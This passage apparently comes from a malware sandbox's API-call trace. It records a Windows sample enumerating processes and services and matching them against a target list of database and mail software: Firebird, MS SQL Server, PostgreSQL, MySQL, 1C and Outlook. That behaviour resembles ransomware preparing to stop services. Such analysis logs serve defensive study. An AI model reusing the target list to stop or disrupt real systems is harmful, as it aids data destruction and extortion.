(lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0272.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0272.604] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0272.604] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0272.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0272.604] lstrlenW (lpString="PcaSvc") returned 6 [0272.604] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0272.604] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0272.604] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0272.604] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0272.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0272.604] lstrlenW (lpString="PlugPlay") returned 8 [0272.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0272.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0272.605] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0272.605] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0272.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0272.605] lstrlenW (lpString="Power") returned 5 [0272.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0272.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0272.605] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0272.605] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0272.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0272.605] lstrlenW (lpString="ProfSvc") returned 7 [0272.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0272.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0272.605] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0272.605] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0272.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0272.605] lstrlenW (lpString="RpcEptMapper") returned 12 [0272.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0272.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0272.605] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0272.605] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0272.605] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0272.605] lstrlenW (lpString="RpcSs") returned 5 [0272.605] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0272.605] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0272.605] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0272.605] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0272.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0272.606] lstrlenW (lpString="SamSs") returned 5 [0272.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0272.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0272.606] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0272.606] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0272.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0272.606] lstrlenW (lpString="Schedule") returned 8 [0272.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0272.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0272.606] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0272.606] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0272.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0272.606] lstrlenW (lpString="SENS") returned 4 [0272.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0272.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0272.606] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0272.606] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0272.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0272.606] lstrlenW (lpString="ShellHWDetection") returned 16 [0272.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0272.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0272.606] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0272.606] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0272.606] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0272.606] lstrlenW (lpString="Spooler") returned 7 [0272.606] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0272.606] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0272.606] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0272.607] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0272.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0272.607] lstrlenW (lpString="SysMain") returned 7 [0272.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0272.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0272.607] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0272.607] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0272.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0272.607] lstrlenW (lpString="Themes") returned 6 [0272.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0272.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0272.607] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0272.607] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0272.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0272.607] lstrlenW (lpString="TrkWks") returned 6 [0272.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0272.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0272.607] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0272.607] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0272.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0272.607] lstrlenW (lpString="UxSms") returned 5 [0272.607] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0272.607] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0272.607] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0272.607] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0272.607] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0272.607] lstrlenW (lpString="WdiServiceHost") returned 14 [0272.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0272.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0272.608] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0272.608] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0272.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0272.608] lstrlenW (lpString="WdiSystemHost") returned 13 [0272.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0272.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0272.608] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0272.608] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0272.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0272.608] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0272.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0272.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0272.608] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0272.608] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0272.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0272.608] lstrlenW (lpString="Winmgmt") returned 7 [0272.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0272.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0272.608] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0272.608] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0272.608] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0272.608] lstrlenW (lpString="WPDBusEnum") returned 10 [0272.608] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0272.608] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0272.608] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0272.608] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0272.609] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0272.609] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x46151a8 | out: hHeap=0x540000) returned 1 [0272.609] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b0 [0272.697] Process32FirstW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.697] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0272.697] lstrlenW (lpString="System") returned 6 [0272.697] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0272.697] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0272.697] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0272.698] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0272.698] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0272.698] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0272.698] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0272.698] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0272.698] lstrlenW (lpString="smss.exe") returned 8 [0272.698] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0272.698] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0272.698] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0272.698] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0272.698] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0272.698] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0272.698] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0272.698] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.698] lstrlenW (lpString="csrss.exe") returned 9 [0272.698] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0272.698] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0272.698] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0272.698] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0272.698] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0272.699] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0272.699] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0272.699] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0272.699] lstrlenW (lpString="wininit.exe") returned 11 [0272.699] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0272.699] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0272.699] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0272.699] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0272.699] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0272.699] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0272.699] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0272.699] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0272.699] lstrlenW (lpString="csrss.exe") returned 9 [0272.699] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0272.699] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0272.699] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0272.699] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0272.699] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0272.699] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0272.700] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0272.700] lstrlenW (lpString="winlogon.exe") returned 12 [0272.700] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0272.700] lstrlenW (lpString="services.exe") returned 12 [0272.700] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0272.700] lstrlenW (lpString="lsass.exe") returned 9 [0272.700] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0272.701] lstrlenW (lpString="lsm.exe") returned 7 [0272.701] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.701] lstrlenW (lpString="svchost.exe") returned 11 [0272.701] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.701] lstrlenW (lpString="svchost.exe") returned 11 [0272.701] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.701] lstrlenW (lpString="svchost.exe") returned 11 [0272.701] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.702] lstrlenW (lpString="svchost.exe") returned 11 [0272.702] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.702] lstrlenW (lpString="svchost.exe") returned 11 [0272.702] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0272.702] lstrlenW (lpString="audiodg.exe") returned 11 [0272.702] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.702] lstrlenW (lpString="svchost.exe") returned 11 [0272.702] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.703] lstrlenW (lpString="svchost.exe") returned 11 [0272.703] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0272.703] lstrlenW (lpString="userinit.exe") returned 12 [0272.703] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0272.703] lstrlenW (lpString="dwm.exe") returned 7 [0272.703] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0272.704] lstrlenW (lpString="explorer.exe") returned 12 [0272.704] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0272.704] lstrlenW (lpString="spoolsv.exe") returned 11 [0272.704] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0272.704] lstrlenW (lpString="taskhost.exe") returned 12 [0272.704] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0272.705] lstrlenW (lpString="svchost.exe") returned 11 [0272.705] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0272.705] lstrlenW (lpString="chrome64b.exe") returned 13 [0272.705] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0272.705] lstrlenW (lpString="reader_sl.exe") returned 13 [0272.705] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0272.706] lstrlenW (lpString="taskhost.exe") returned 12 [0272.706] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0272.706] lstrlenW (lpString="consent.exe") returned 11 [0272.706] Process32NextW (in: hSnapshot=0x3b0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0272.706] CloseHandle (hObject=0x3b0) returned 1 [0272.706] Sleep (dwMilliseconds=0x1f4) [0273.358] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4544810 [0273.358] EnumServicesStatusExW (in: hSCManager=0x4544810, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0273.358] GetLastError () returned 0xea [0273.358] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x11e4) returned 0x4ca0060 [0273.358] EnumServicesStatusExW (in: hSCManager=0x4544810, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4ca0060, cbBufSize=0x11e4, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4ca0060, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0273.359] CloseServiceHandle (hSCObject=0x4544810) returned 1 [0273.359] lstrlenW (lpString="Appinfo") returned 7 [0273.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0273.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0273.359] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0273.359] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0273.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0273.359] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0273.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0273.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0273.359] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0273.359] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0273.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0273.359] lstrlenW (lpString="AudioSrv") returned 8 [0273.359] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0273.359] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0273.359] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0273.359] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0273.359] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0273.359] lstrlenW (lpString="BFE") returned 3 [0273.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0273.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0273.360] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0273.360] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0273.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0273.360] lstrlenW (lpString="CryptSvc") returned 8 [0273.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0273.360] lstrcmpiW 